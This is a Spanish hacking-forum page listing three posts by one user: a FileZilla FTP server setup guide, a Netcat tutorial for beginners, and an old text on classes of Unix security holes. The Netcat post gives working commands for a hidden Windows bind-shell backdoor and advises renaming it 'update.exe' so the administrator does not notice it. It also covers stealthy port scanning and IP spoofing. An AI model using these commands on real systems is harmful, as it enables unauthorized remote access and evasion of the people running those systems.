Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - ANTRAX

#5201
Aportaciones 2009
Texto web: gasperar

Como crear un servidor FTP

Intercambio de ficheros.-

Una de las actividades más importantes de Internet, pese a quien le pese, es el intercambio de ficheros. Películas, canciones, juegos de ordenador, programas, ... Todo se intercambia en la red.

En este artículo vamos a explicar cómo intercambiar ficheros con tus amigos dentro de Internet (tanto tú dejar ficheros para que tus amigos se descargen como que tus amigos puedan dejarte ficheros en tu ordenador). ¿Cómo se hace eso? Pues la forma más simple y versátil es con un servidor FTP.

¿Cómo funciona?:

Retrocedamos tiempo atrás. Hasta la década de los 70 del siglo pasado, concrétamente hasta el año 1973. En esa época, se necesitaba crear un sistema para yo dejar un grupo de ficheros en un ordenador y que aquel que se conectase pudiese copiar ficheros al suyo o bien dejarme ficheros en el mío. Para eso se creó el FTP.

El funcionamiento del FTP es muy simple. En primer lugar, deciros que hay 2 programas FTP. Por un lado está el servidor FTP que es el encargado de gestionar los ficheros que quieres compartir y por otro lado están los clientes FTP que son los que se conectan al servidor.

Así pues, para conectarse a un servidor FTP, primeramente hay que tener un cliente FTP. ¿Dónde conseguir uno? Existen multitud (cientos díra yo) de clientes FTP. La mayor parte son shareware (lo cual quiere decir que podemos usar el programa con funcionalidades recortadas o durante un tiempo limitado y si lo queremos usar completamente tendremos que pagar). WS_FTP, FTP_PRO, ... En esta página podremos encontrar un listado con una amplia variedad de clientes FTP para que podais elegir el que más os convenga.

De cualquier forma, desde esta página recomendamos como cliente el Filezilla. Este es uno de los clientes FTP más versátiles y además es gratuíto (incluso puedes descargarte el código fuente y modificarlo a tu gusto). Para descargarte la última versión o si quieres descargarte el código fuente o incluso tener más información puedes consultar su página web No tienes permitido ver los links. Registrarse o Entrar a mi cuenta. Desde ahí puedes incluso colaborar en el proyecto (ya bien sea en su traducción al español como en el desarrollo de nuevas funcionalidades).

Para instalar Filezilla, no hay nada más que seguir los pasos de instalación normales como cualquier otra aplicación. Una vez instalada, para ponerla en Español, no tenemos más que ir al menú Edit -> Settings... -> Language y ahí elegimos como idioma el Español y pulsamos el botón OK.

Conectarte a un servidor FTP es muy fácil. En la parte superior nos encontramos con 4 cuadros de diálogo: Dirección, Usuario, Contraseña y Puerto.

No tenemos más que escribir el nombre o dirección IP en la que se encuentra el servidor FTP al que queremos conectar. Si disponemos de un usuario y contraseña, lo escribiremos, si no lo dejaremos en blanco (esto último se llama "conexión anónima" y funcionará si el servidor ftp tiene configurado el aceptar conexiones anónimas). Y por último está el puerto por si la persona con la que queremos conectar ha puesto su servidor FTP en un puerto distinto al estándard (que es el puerto 21) para "camuflarlo" o para darle más protección. Pulsamos sobre el botón ConexiónRápida y si todo ha ido bien (si no ha ido bien, sigue leyendo), en la parte de Sitio Remoto (en el centro y a la derecha) veremos el listado de ficheros y directorios del servidor.

Si queremos bajar un fichero, no tenemos más que arrastar el fichero al cuadro de la izquierda (que si nos fijamos son los directorios de nuestro disco duro) y en el directorio de nuestro ordenador que queramos almacenarlo. Si queremos subir un fichero al servidor FTP (y tenemos permisos para ello) no tenemos más que arrastar el fichero desde el cuadro que representa el ordenador (centro a la izquierda) al cuadro que representa el ordenador al que nos hemos conectado (centro a la derecha).

Conforme vayamos subiendo o bajando ficheros, éstos se pondrán en cola en el cuadro inferior, donde podemos ver cuántos ficheros estamos transfiriendo, cuánto queda por bajarnos y pinchando en el fichero, podrás parar momentáneamente la transferencia, reanudarla o cancelarla.

Varios trucos:

i) Puedes crear una lista de sitios FTP con la opción de menú Archivo -> Administrador de sitios y ahí puedes dar de alta las direcciones (con usuarios y contraseñas) de los sitios FTP que más uses.

ii) Si una transferencia de un fichero se corta accidentalmente (se te apaga el ordenador o se corta la conexión), puedes reanudarlo donde lo dejaste. Símplemente tienes que volver a transferir el fichero a tu ordenador (en el mismo sitio donde está el que se te quedó incompleto) y te dará las opciones de sobreescribirlo o de seguir la transferencia por donde la dejaste.

Posibles problemas:

Por las características del protocolo FTP, si tienes un router o un firewall personal, la conexión FTP puede que no se pueda realizar correctamente. Para esos casos existe una modalidad llamada FTP pasivo. ¿Cómo sabemos cuando necesitamos una conexión de FTP pasivo o una conexión normal de FTP? La forma más fácil es probando. A la hora de conectarnos al servidor veremos que la conexión se realiza correctamente, te acepta el usuario y la contraseña, pero a la hora de pedir el listado de ficheros, se queda parado. En ese caso hay que probar con FTP pasivo o quizás incluso desactivarlo. No existen reglas fijas como "dejar siempre FTP pasivo" puesto que hay servidores FTP que no aceptan esta modalidad. Es por ello que, vuelvo a repetir, no hay una regla fija.

Para activar/desactivar el FTP pasivo hay que ir a la opción de menú Edición -> Configuración -> Configuración del cortafuegos y la opción es Passive Mode. Activarlo o desactivarlo puede significar que podamos conectar a un servidor cuando antes no podíamos.

El servidor FTP

Con el cliente FTP úncamente nos podremos conectar a servidores que ya estén funcionando. Pero lo interesante es el crear un servidor FTP.

Al igual que con los clientes FTP, existen multitud de programas servidores FTP. No obstante, recomendamos como uno de los mejores y más versátiles el Filezilla server. Esta versión es la parte servidora, que como el programa cliente es totalmente gratuíta y podemos bajarnos el código fuente y modificarlo a nuestro gusto. El Filezilla server lo puedes bajar en No tienes permitido ver los links. Registrarse o Entrar a mi cuenta, donde si quieres puedes también bajarte el código fuente. Se instala y listo. Desgraciadamente, no hay versión en Español del servidor (si alguien se anima a colaborar en el proyecto como traductor, desde esa página Web podeis contactar y ofrecer vuestra colaboración para traducirlo).

Si en algún momento deseamos parar el servidor FTP, no tenemos más que ir a el grupo de programas Filezilla Server y ejecutar Stop Filezilla Server. Y en caso de que queramos otra vez iniciarlo, nada más fácil que ejecutar el programa Start Filezilla Server.

El filezilla server se controla mediante el programa Filezilla Server Interface. Por un lado tenemos el servidor FTP que está ejecutándose en segundo plano. Y por otro lado tenemos este programa que se encarga de gestionar el servidor FTP y de configurarlo.

Este programa controla el servidor FTP conectándose a éste a través de un puerto. De esta forma podemos controlar nuestro servidor FTP de forma remota. Nada más arrancar el programa antes mencionado, aparece la siguiente pantalla:



En esta pantalla se nos pide la dirección IP del donde está el servidor FTP (ahí tenemos que escribir o bien la IP de nuestro ordenador, o si estamos en la misma máquina en la que está instalado el servidor FTP, podemos escribir 127.0.0.1, siendo esta IP por convenio la IP de mi ordenador).

Luego se nos pide el puerto al cual conectarnos y la contraseña del servidor FTP (en principio el puerto es por defecto el 14147, aunque se puede cambiar en la configuración del servidor y la contraseña de principio está en blanco).

Si pulsamos OK, nos aparece la ventana principal de configuración del filezilla, siendo el mensaje que nos tiene que aparecer:



FileZilla Server version 0.9.3 beta

Copyright 2001 by Tim Kosse ([email protected])

Connecting to server...

Connected, waiting for authentication

Logged on



Con esto se nos indica que estamos identificados correctamente. Lo primero y más urgente es cambiar la contraseña de administración del servidor, puesto que si no, cualquierá podría conectarse a él remotamente y cambiar su configuración.

Así pues elegimos la opción de menú Edit -> Settings y una vez allí nos vamos a Admin Interface Settings y ahí escribrimos una contraseña en los campos New Password y Retype New Password.

Si nos fijamos, en esta opción de menú también podremos cambiar el puerto de administración del servidor FTP (que es por defecto el 14147).

Cuando esté cambiada la contraseña, pulsando OK se harán efectivos los cambios.

De cualquier forma, no sólo esta es la única opción configurable del servidor:

* Welcome Message: Con él podemos cambiar el mensaje de bienvenida que aparece en el cliente FTP de todos aquellos que se conecten con nuestro servidor.

* IP Filter: En esta opción podemos impedir que ciertas IPs se conecten al servidor o bien permitir que tan sólo se conecten al servidor ciertas IPs que seleccionemos.

* Logging: Si queremos ver quién está accediendo a nuestro servidor, activando el Logging, se escribirá en un fichero todos los accesos que tenga nuestro servidor y qué ficheros se bajan o suben.

* Speed Limit: Ten en cuenta que quien se conecte a tu servidor FTP te está quitando ancho de banda para que tú puedas navegar o bajar de otros servidores FTP. Con esta opción podemos limitar el ancho de banda total que va a consumir el servidor. Si vas a tener un servidor FTP funcionando todo el día y tiene gran demanda de ficheros, prueba a limitar el ancho de banda para que no te afecte a la conexión lo que otros usuarios hagan en tu servidor.

Con esto ya tenemos configurado nuestro servidor FTP. Ahora sólo queda configurar a los usuarios que van a conectarse.

En primer lugar, tú puedes configurar una serie de usuarios (con sus correspondientes contraseñas). Para crear un usuario sólo tienes que ir a Edit -> Users.

En la parte de la derecha están los usuarios del sistema. Pulsando el botón Add, podrás crear un nuevo usuario. Si tienes un volumen muy grande de usuarios, prueba a crear un grupo de usuarios y ve asignado los usuarios a los grupos. Luego es más fácil dar permiso a un grupo completo que ir usuario por usuario.

Si no tienes muchos usuarios, no hace falta que crees ningún grupo, así que símplemente escribes el login de tu usuario y elige como grupo <none> (ninguno).

Puedes crear tantos usuarios como quieras. Con Remove se eliminan, con Rename se puede cambiar el login de un usuario y con Copy puedes crear un usuario a partir de otro copiando sus datos.

Las opciones que tienes en el centro, son para cada usuario. Si seleccionas otro usuario en el panel usuarios de la derecha y modificas las opciones, esta modificación sólo se hará para ese usuario en concreto.

La opción Enable Account sirve para activar o desactivar a un usuario sin necesidad de borrarlo y activando password se le asigna a un usuario una contraseña.

Una vez que hayas creado los usuarios, nos vamos al panel de la izquierda y elegimos Shared Folders. A partir de ahí seleccionamos al un usuario y con el botón Add del panel central, vamos añadiendo directorios a ese usuario. Todos los directorios que seleccionemos serán accesibles por ese usuarios. Así que seleccionamos qué directorios queremos que ese usuario tenga acceso. Recuerda que los directorios se le asignan a un único usuario. Tendremos que asignar directorios a todos y cada uno de los usuarios que hemos creado. Si tenemos muchos usuarios, podríamos plantear crear grupos de usuarios, asignar usuarios a grupos y dar permisos y compartir carpetas no a un usuario en particular, sino a un grupo.

Una vez que tengamos seleccionadas las carpetas que va a ver un usuario, tenemos que especificar los permisos de esa carpeta. Dichos permisos están en el panel central a la derecha.

Para un directorio, existen 2 permisos básicos: Read y List. Con Read daremos permiso de lectura a los ficheros de un directorio y con List daremos permiso para listar los ficheros del directorio. Si no damos el permiso de List, cuando una persona quiera ver nuestro directorio, le aparecerá que no tiene permiso para verlo.

Write da permiso para escribir ficheros, Delete para borrarlos, Append para añadir datos a un fichero ya existente, Create es para crear directorios, Delete para borrarlos y + Subdirs es para dotar de los mismos permisos a los subdirectorios del directorio al que le hemos dado los permisos.

Las restantes pestañas de esta ventana son Speed Limits, para establecer límites de velocidad por usuario o IP filter para determinar que un usuario sólo se pueda conectar desde una IP.

Tan sólo decirte que hay un usuario especial llamado anonymous. Ese usuario es el que usan los clientes FTP para permitir entrar a un usuario sin identificación.

Así pues, es interesante que crees un usuario anonymous y que no le actives la contraseña. De esta forma permitirás que entren personas sin que tengas que darle un usuario y una contraseña. Pero no le des permiso de escritura, tan sólo de lectura.

Configuración Recomendada:

Una vez que sabemos cómo manejar este programa, vamos a explicar una configuración que nosotros pensamos que es la más recomendada:

i) Pon una contraseña de administración.

ii) Haz un directorio en el raíz de tu disco duro llamado ftp ó compartir. En ese directorio iremos creando directorios e iremos dejando los ficheros que queramos compartir.

iii) Crea un usuarios anonymous y dale permiso de lectura (Read) y de listar (List) los ficheros del directorio ftp. De esa forma no tendrás que ir dando usuario/contraseña a los que quieran entrar en tu ftp y al tener sólo permiso de lectura no podrán hacerte nada en tus ficheros.

iv) Crea un directorio dentro del directorio ftp llamado upload y dale permiso de escritura (Write) y para crear directorios (Create) para el usuario anonymous. De esta forma, si un usuario anónimo te quiere dejar algo, lo podrá hacer, pero en una carpeta distinta. Al no tener permiso de borrado (Delete), no podrá borrar nada, sólo dejarte cosas.

v) Limita la velocidad a ese usuario anonymous. Para ello modifica los correspondientes valores en Upload (tráfico que usa la gente para subirte ficheros) y Download (tráfico que usa la gente para descargarse ficheros de tí) en Seepd Limit. De esta forma, si hay mucha gente bajándose cosas de tí, no te afectará a tí para navegar por Internet. Ya depende de la velocidad de tu ADSL... y ten en cuenta que una ADSL es simétrica. Así si tienes una ADSL de 2 Mbps, tienes 2 Mpbs de tráfico upload para los usuarios y 300 Kbps de tráfico de donwload. ¿Que cómo es posible? Muy fácil, ten en cuenta que cuando tú navegas por Internet el caudal de descarga es de Internet hacia tí, y el de subida es de tí hacia Internet. Cuando tú montas un servicio en Internet, las tonas se invierten y los usuarios se descargan de tí por el canal de subida de la ADSL y suben cosas por el canal de bajada de la ADSL. Así que si tienes una ADSL de 2 Mbps, la gente en internet sólo podrá descargarse de tí como máximo 300 Kbps (que es la velocidad del canal de subida de la ADSL) y te podrán subir ficheros a tu ftp a 2Mbps (que es el canal de bajada de la ADSL). Si lo piensas tiene su lógica, ¿no?

vi) Crea varios usuarios para tus amigos y ya es tema tuyo a qué directorios quieres darle permiso y qué tipo de permisos les das.



Y bueno, ya tenemos configurado un servidor FTP para que puedas dejar cosas a la gente y la gente te pueda dejar cosas a tí. Por último faltaría (si tienes un router ADSL) el configurar el router para que la gente pueda acceder a tu servidor FTP. Ten en cuenta que la IP que tienes en Internet, cuando te instalan un router, es la IP del router y no la de tu ordenador. ¿Qué IP tiene entonces mi ordenador? Pues una dirección interna que no es accesible desde Internet. Con eso te dan los operadores seguridad y no tienes que preocuparte porque alguien desde Internet pueda acceder a tu máquina.

Si quieres montar el servicio en internet con un router, tendrás que montar un NAT inverso. Con el NAT inverso le digo al router ADSL que cuando alguien acceda a la IP del router en un puerto (por ejemplo, el puerto 21), lo rediriga a la IP interna que tiene mi máquina. Con eso cualquier paquete desde Internet que toque el router, éste lo pasará hacia dentro de tu red (más concretamente hacia tu ordenador). pero eso es otra historia. Ya depende del tipo de router que tengas instalado. Para ello deberás de consultar en el manual cómo crear un NAT inverso (o en su defecto, ir a Internet a ver cómo se hace en tu router).

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#5202
Hacking / Tutorial de Netcat para newbies
Febrero 18, 2010, 12:08:39 PM
TUTORIAL DE NETCAT PARA NEWBIES

En resumen Netcat realiza y acepta conexiones TCP Y UDP. ¡Eso es todo! Netcat escribe y lee los datos en este tipo de conexiones hasta que se cierren. Proporciona un subsistema de conexión a red básico basado en TCP/UDP que permite a los usuarios interactuar en forma normal o mediante secuencias de comandos con aplicaciones de red y servicios sobre la capa de aplicación. Nos permitirá ver datos TCP y UDP en bruto antes de que sean recubiertos por la siguiente capa superior, tal como FTP, SMTP, o HTTP. Antes de continuar debo decirte que tendrás que tener Netcat en C:WINDOWSSystem32 por cuestiones que no soy primordiales de este manual.

LINEA DE COMANDOS

La línea básica de comandos para Netcat es nc [opciones] host puertos, donde host es la dirección IP que se desea analizar y puertos es o un  determinado puerto o un rango de puertos o una serie de puertos separados por espacios. Echemos un vistazo a cada una de las opciones.

-d Permite que nc trabaje en forma silenciosa y se desenganche del indicador de comandos MS-DOS.
-e <comando> Un nc a la escucha podrá ejecutar el <comando> en el instante en que alguien se conecte al puerto en el que está escuchando.
-i <segundos> Intervalo de espera, que es la cantidad de tiempo que nc esperará entre dos envíos de datos sucesivos.
-g <lista-de-ruta> Se pueden especificar hasta 8 opciones –g en la línea de comandos para forzar que su tráfico nc pase por determinadas direcciones IP.
-G <puntero de saltos> Esta opción le permitirá definir que dirección IP va a ser el siguiente salto dentro de la ruta indicada con la opción –g.
-l Activa el modo escucha de nc.
-L Activa el modo escucha de nc pero con más interés.
-n Indica a nc que no realice ninguna consulta de nombres de hosts.
-o <archivohex> Realiza un volcado hexadecimal de los datos y los almacena en un archivo hexadecimal.
-p <puerto> Le permite especificar el puerto local que va a utilizar nc.
-r Nc elegirá aleatoriamente los puertos locales y remotos.
-s Especifica la dirección IP de origen que deberá utilizar nc cuando efectue sus conexiones.
-t Es capaz de controlar la negociación de opciones Telnet.
-u Indica a nc que utilice UDP en lugar de TCP.
-v Informa el estado de nc, si pones otra –v podrás obtener más información.
-w <segundos> Controla cuanto tiempo va a esperar nc antes de dar por terminada una conexión.
-z Le dice a nc que envíe la cantidad de datos necesarias para conocer en que puertos se está escuchando algo.

OBTENER ACCESO REMOTO A UNA SHELL

Si se ejecuta el comando nc.exe  -l –p4455 –e cmd.exedesde una ventana del símbolo del sistema en una plataforma basada en Windows NT o Windows 2000, cualquiera que realice un Telnet al puerto 4455 de dicha plataforma se encontrará con una shell DOS sin tener que iniciar una sesión en ella.

Bastante elegante, pero también da un poco de miedo. Casi sin esfuerzos acabamos de obtener un indicador de comandos en el sistema atacado. Naturalmente, en los sistemas Windows NT y Windows 2000, tendrá los mismos privilegios y servicios que el usuario que ejecute Netcat. Si creamos de esta manera una puerta trasera en Windows 95 y Windows 98obtendremos un control completo.
Vamos a seguir profundizando en este comando, recuerden que de forma predeterminada Netcat se ejecutará en la ventana DOS que se haya iniciado, este hecho significa que la ventana de control de comandos tendrá que permanecer abierta mientras Netcat se encuentre en ejecución. Emplearemos la opción –d para separarla del indicador de comandos.

Código:
C:>nc.exe –l –p 4455 –d –e cmd.exe

De ésta forma, podremos ocultar una puerta trasera basada en Netcat.

Sin embargo si alguien realiza un Telnet al puerto 4455 y se conecta, tan pronto como se finalice la conexión, Netcat pensará que su trabajo ha terminado y dejará de escuchar. Para evitar esto utilizaremos la opción –L diciéndole a Netcat que escuche con más interés incluso después de haber finalizado la conexión.

Código:
C:>nc.exe –p 4455 –d –L –e cmd.exe

Esto nos permitirá volver al sistema hasta que el administrador de dicho sistema descubra la puerta trasera. Y para evitar que nos descubra podemos cambiar el nombre de nc.exe por cualquier otra cosa. Nota: en este ejemplo yo tengo nc.exe que voy a mover en C: y no en C:WindowsSystem32



Cualquiera podrá ignorar algo tan aparentemente inofensivo como update.exe. Otra característica de Netcat es que si lo utilizamos sin ninguna opción en la línea de comandos, nos pedirá que la introduzcamos en la primera línea de la entrada estándar.



EXPLORACION SILENCIOSA DE PUERTOS

Como Netcat puede hablar con un rango de puertos, un uso muy obvio sería utilizarlo como explorador de puertos. La opción –z es la respuesta. Ésta opción le dirá a Netcat que envía una determinada cantidad de datos a algún puerto, pero dicha cantidad solo será suficiente para saber si el puerto está abierto o no. En éste caso utilizaremos la opción –v o –vv ya que sin por lo menos una –v no podremos ver el resultado de la exploración. Aquí estoy haciendo una exploración de puertos a 127.0.0.1 desde el 139 hasta el 145. Obtuve como resultado que solo se encuentran abiertos el 139,141 y 142.



Pero esta forma de hacerlo no es la mas correcta que digamos porque algunas aplicaciones de cortafuegos, bloquearan determinada dirección IP si reciben demasiadas conexiones sobre ella en un periodo muy corto de tiempo. Para que no nos suceda esto Netcat permite hacer exploraciones de una manera más discreta, tan discreta que no parecerá una exploracion de puertos. Se podrá utilizar la opción –i y configurar un intervalo de prueba y la opción –r para lo haga de forma aleatoria.Puede hacerse este mismo procedimiento para los puertos UDP solo agregándole –u a la línea de comandos.

SUPLANTAR UNA DIRECCION IP

Suplantar una dirección IP resulta sencillo. Los cortafuegos que realizan enmascaramiento  o una traducción de las direcciones de red suplantan diariamente direcciones IP. Estos dispositivos toman un paquete desde una dirección IP interna, cambian la dirección IP origen del paquete a su propia dirección IP, lo envían por la red y deshacen las modificaciones cuando vuelven a recibir los datos desde el destino. Por ello, decimos que modificar los contenidos de la dirección IP origen en un paquete IP resulta sencillo. Lo que si es difícil es ser capaz de recibir datos desde una dirección IP suplantada.

Netcat dispone de la opción –s que nos permitirá especificar la dirección IP que deseemos. Cualquiera podria iniciar una exploración de puertos utilizando la opción –s para hacer pensar que estan siendo explorado por Microsoft o el FBI. Sin embargo, el problema nos viene cuando deseamos reenviar las respuestas emitidas por el puerto suplantado a nuestra dirección IP real. Supongamos, por ejemplo, que el host de destino piensa que ha recibido una petición de conexión de Microsoft, intentará enviar un mensaje de reconocimiento a dicha ip de Microsoft.  Naturalmente, esta dirección IP no tendrá idea de lo que está hablando el host de destino y enviará un reset. ¿Cómo podemos enviar la información de vuelta a la dirección IP real sin que seamos descubiertos?

En lugar de atacar a la maquina destino, la única otra opción viable es utilizar el encaminamiento dependiente del origen. El encaminamiento dependiente del origen permite a una aplicación de red especificar la ruta que desea seguir para llegar a su destino.

Existen dos tipos de encaminamiento dependiente del origen: estricto y relajado. El encaminamiento dependiente del origen estricto significa que el paquete debe especificar cada salto a realizar en la ruta hasta llegar al host de destino. Algunos routers y otros dispositivos de red siguen permitiendo el encaminamiento dependiente del origen estricto, pero muy pocos permiten el encaminamiento dependiente del origen relajado. El encaminamiento dependiente del origen relajado indica a los routers y a los dispositivos de red que los routers pueden efectuar la mayor parte del encaminamiento hasta llegar al host de destino, este proceso nos permitirá hacer que el paquete pase por nuestra maquina al regresar. Utilizando este método el encaminamiento dependiente del origen puede permitir que suplantemos una direccion IP y que obtengamos las respuestas a su viaje de vuelta. La mayoría de los routers ignoran las opciones del encaminamiento dependiente del origen, pero no todos.

La opción –g de Netcat nos permitirá especificar hasta 8 saltos que deberá dar el paquete antes de llegar a su destino, por ejemplo: nc –g 10.10.4.5 –g 10.10.5.8 –g 10.10.7.4 –g 10.10.9.9 10.10.9.50 23 entrará en contacto con el puerto telnet en 10.10.9.50, pero si las opciones del encaminamiento dependiente del origen se encuentran activadas sobre routers intermedios, tráfico se verá forzado a seguir la ruta a través de estas 4 ubicaciones antes de alcanzar su destino. Si intentamos nc –g 10.10.4.5 –g 10.10.5.8 –g 10.10.7.4 –g 10.10.9.9   –G 12 10.10.9.50 23, en este comando estaremos especificando un puntero de salto utilizando la opción –G. La opción –G configurará el puntero de salto al n-simo byte (en este caso el duodecimo) y como las direcciones IP tienen 4 bytes de longitud, el puntero de salto comenzará en 10.10.7.4. Por lo que en su camino a 10.10.9.50, el tráfico necesitará atravesar únicamente las dos ultimas maquinas (porque de acuerdo con el puntero de salto ya hemos estado en las primeras). Sin embargo en el viaje de vuelta el paquete si pasará por las 4 maquinas.
#5203
Hacking / Como encontrar agujeros de Seguridad
Febrero 18, 2010, 12:04:32 PM
1)  Agujeros de seguridad fisicos

- Cuando el problema potencial esta causado debido al hecho de dar a personas
sin autorizacion acceso fisico a la maquina, cuando esto les permitira realizar
cosas que no deberian ser capaces de hacer.
Un buen ejemplo de esto podria ser una sala publica con estaciones de trabajo
donde seria facilisimo para un usuario el reinicializar una maquina en modo
mono-ususario y trastear con los archivos de la estacion de trabajo, si no se
tomasen precauciones.
Otro ejemplo de esto es la necesidad de restringir el acceso a cintas backup
confidenciales, que de otro modo podrian ser leidas por cualquier usuario con
acceso a las cintas y con una unidad de cinta, independientemente de si tuvieran
o no permiso.

2)  Agujeros de seguridad en el software

- Cuando el problema esta causado por una mala escritura de partes "privilegiadas"
de software (daemons, cronjobs) que pueden estar comprometidos a realizar tareas
que no deberian.
El ejemplo mas famoso de esto es el bug del sendmail (ver bibliografia) que podia
permitir a un cracker el pillar una shell root. Esto podria ser usado para borrar
archivos, crear nuevas cuentas, copiar el fichero de passwords, cualquier cosa.
(Contrariamente a lo que la gente piensa, los ataques via sendmail no estaban
solo restringidos al infame "Gusano de Internet" (Internet Worm) - cualquier
cracker podia hacer esto Telneteando al puerto 25 de la victima. La historia
detras de un agujero similar (esta vez en el software "move-mail" de EMACS) se
describe en [Stoll].)
Nuevos agujeros como este aparecen todo el tiempo, y tus mejores esperanzas son:

a.  tratar de estructurar tu sistema de forma que el menor software posible con
privilegios root/daemon/bin corra en tu maquina, y que el que lo haga sepamos que
sea robusto.

b.  suscribirse a una lista de mail para poder tener lo antes posible informacion
con detalles acerca de problemas y/o parches, y actuar en cuanto la tengas.

>From: Wes Morgan <[email protected]>
>
> c: Cuando instales/actualices un sistema dado, trata de instalar/habilitar solo
>aquellos paquetes de software por los que tengas una necesidad inmediata o
>previsible. Muchos paquetes incluyen daemons o utilidades que pueden revelar
>informacion a extraños. Por ejemplo, el paquete de contabilidad del Unix System
>V de AT&T incluye >acctcom(1), que podria permitir (por omision) a cualquier ususario
>el revisar los datos de las cuentas diarias de cualquier otro usuario.
>>Muchos paquetes TCP/IP instalan/cargan automaticamente programas tales como rwhod,
>fingerd, y (ocasionalmente) tftpd, pudiendo todos presentar problemas de seguridad.
>
>Una administracion del sistema cuidadosa es la solucion. Muchos de estos programas
>son inicializados/iniciados en el arranque; desearas cambiar tus scripts de arranque
>(normalmente en los directorios /etc, /etc/rc, /etc/rcX.d) para prevenir su ejecucion.
>Desearas eliminar algunas utilidades completamente. Para algunas utilidades, un
>simple chmod(1) puede prevenir el acceso de usuarios no autorizados
>
>Resumiendo, NO CONFIES EN LOS SCRIPTS/PROGRAMAS DE INSTALACION! Tales facilidades
>tienden a instalar/cargar todo lo que hay en el paquete sin preguntartelo. Muchos
>manuales de instalacion incluyen listas de "los programas incluidos en este paquete";
>asegurate de revisarlo.

3)  Agujeros de sguridad de uso incompatible

- Cuando, a traves de la falta de experiencia, o no por fallo suyo, el administrador
del sistema reune una combinacion de hardware y software y esta es usada como un
sistema, estara seriamente dañado desde el punto de vista de la seguridad. Es la
incompatibilidad de intentar hacer dos inconexos pero utiles actos lo que crea
agujeros de seguridad.
Problemas como este son muy dificiles de encontrar una vez que el sistema esta
creado y funcionando, asi que es mejor el crear el sistema con ellos en mente(fallos).
Aunque nunca es tarde para volver a pensarlo.
Algunos ejemplos estan detallados abajo; no entremos en ellos aquí, ya que estropearia
la sorpresa.

4)  Elegir una filosofia de seguridad adecuada y mantenerla

>From: Gene Spafford <[email protected]>
>El cuarto tipo de problema de seguridad es el de la percepcion y el >entendimiento.
Software perfecto, hardware protegido, y componentes compatibles no funcionan a menos
>que hayas elegido una politica de seguridad correcta y que hayas puesto en marcha las
>partes de tu sistema que la refuercen. Tener el mejor mecanismo de password del mundo
>es inutil si tus usuarios creen que la ultima parte del nombre de su login es un buen
>password! La seguridad esta relacionada con una politica (o conjunto de politicas/normas)
>y el funcionamiento de tu sistema conforme a dicha politica

---

From: Hacking
Tema: Ideas de hacking
Date: 11/10/93

( Please contribute by sending E-Mail to <[email protected]> ... )

[Muchas de las ideas tomadas de: HaxNet - APG V1.3 : Guia para encontrar nuevos agujeros]

NOTA: Creo que esto se debe de dividir en categorias generales:
1)  Principios generales
2)  Buscar agujeros en src
3)  Buscar en las distribuciones binarias
4)  Buscar en configuraciones especificas de sites.

  Las siguientes clasificaciones generales sugieren por si mismas:
1) SUID/SGID
2) Return codes/error conditions
3) unexpected input
4) race conditions
5) authentication
6) implicit trust
7) parameters
Cool permissions
9) interrupts
10) I/O
11) symbolic links
12) Daemons, particularly those taking user input.
13) Kernel race conditions
14) what else? - please add categories

(Division sugerida de lo de arriba en sub-categorias)
I: Suid binaries and scripts
   unexpected user interactions
   flawed liberary calls
   implicit assumptions of external conditions (sym links, loc. paths)
   race conditions
II: daemons running with priviliged uid's
   race conditions
   poor file protectons
   implicit file protections
   trust
   authentication
III: Kernel problems
   Kernel race conditions
   device driver code

El siguiente metodo de 4 pasos fue creado por System Development
Corporation, que da un indice de 65% de éxito en las hipotesis generadas.
El hacer una busqueda detallada de imperfecciones en los sistemas operativos requiere
4 pasos:

Paso 1) Conocimiento de la estructura de control del sistema
==============================================================
Para encontrar agujeros de seguridad, e identificar debilidades de diseño es necesario
entender la estructura de control del sistema, y las capas.
Uno deberia ser capaz de listar:
A)objetos de seguridad: componentes que deben ser protegidos. Ej: un archivo de usuario
B)objetos de control: componentes que protegen objetos de seguridad. Ej: un i-node
C)objetos reciprocos: objetos de ambas clases. Ej: el archivo de password.

Con dicha lista, es posible el representar graficamente una jerarquia de control e
identificar puntos potenciales de ataque. Hacer diagramas de flujo para dar un
analisis visual de relaciones definitivamente ayuda. El leer los varios manuales
de usuario, operadores, y administradores proveera dicha informacion.

Paso 2) Generar un inventario de desperfectos sospechosos
===========================================================
En particular queremos:
Historia de codigo:
  De que UNIX deriva un defecto en particular? Esto es importante para proximas
  referencias (muy a menudo solo un vendedor parchea partes del codigo, que sera
  usado por otros en su "reencarnacion" sin parchear.
Una referencia solida:
  Quien chequea que bugs hay, en que sistema operativo y en que versiones, nos
  previene de realizar una doble tarea.

Un buen comienzo seria el listar todos los binarios suid de las diferentes versiones
de los sistemas operativos. Despues intentar averiguar por que cada programa es suid
ej: rcp es suid root ya que debe usar un puerto privilegiado para autentificar nombres
de usuario.
A menudo, codigo que nunca fue diseñado para ser suid, se hace suid, para resolver
problemas de acceso a ficheros.
Necesitamos crear una base de datos que sea capaz de "mirar" a pares y trios de datos,
especificamente:nombre del programa, suid, sgid, objeto accedido (por que es suid/sgid),
version del sistema operativo.

Alguna sugerencia de como implementar dicha base de datos?

Paso 3) Confirmar hipotesis (testear y explotar los defectos)
===============================================================

Paso 4) Hacer generalizaciones de las debilidades del sistema, para
las que los defectos representan un ejemplo especifico
=====================================================================

Caja de herramientas
=====================
AGREP: Recomiendo a todo el mundo pillar e instalar agrep de:
        ftp No tienes permitido ver los links. Registrarse o Entrar a mi cuenta /agrep/agrep.tar.Z
Agrep soporta "windowing" por lo que puede busacr rutinas, y subrutinas. Tambien
soporta operadores logicos y es de esta forma ideal para automatizar la busqueda de
muchos de estos defectos. Ej: <psudocode>
      agrep WINDOW {suid() NOT taintperl()} /usr/local/*.pl
or    agrep WINDOW {[suid() OR sgid()] AND [system() OR popen() OR execlp()
            OR execvp()]} /usr/local/src/*.c

PROGRAMA DE PERMUTACION: Otra herramienta que merece producir es un programa que
genere todas las permutaciones posibles de los argumentos de la linea de comandos
para asi descubrir caracteristicas indocumentadas, y tratar de producir errores.

TCOV:

CRASH: Posteado a USENET (que archivo FTP?)(descripcion?)

TEXTOS: Hay varios textos que tratan metodos sobre como encontrar defectos, y
presentan series de tests
1) Un estudio empirico de la seguridad de las utilidades UNIX, por Barton P. Miller,
Lars Fredriksen, and Bryan So, Comm ACM, v33 n12, pp32-44,Diciembre 90. Describe
una serie de tests para testear cadenas aleatorias de entradas.
Los resultados indicaban que un 25% de los programas se colgaban, se venian abajo, o
no actuaban como debian. En un caso el sistema operativo se vino abajo.
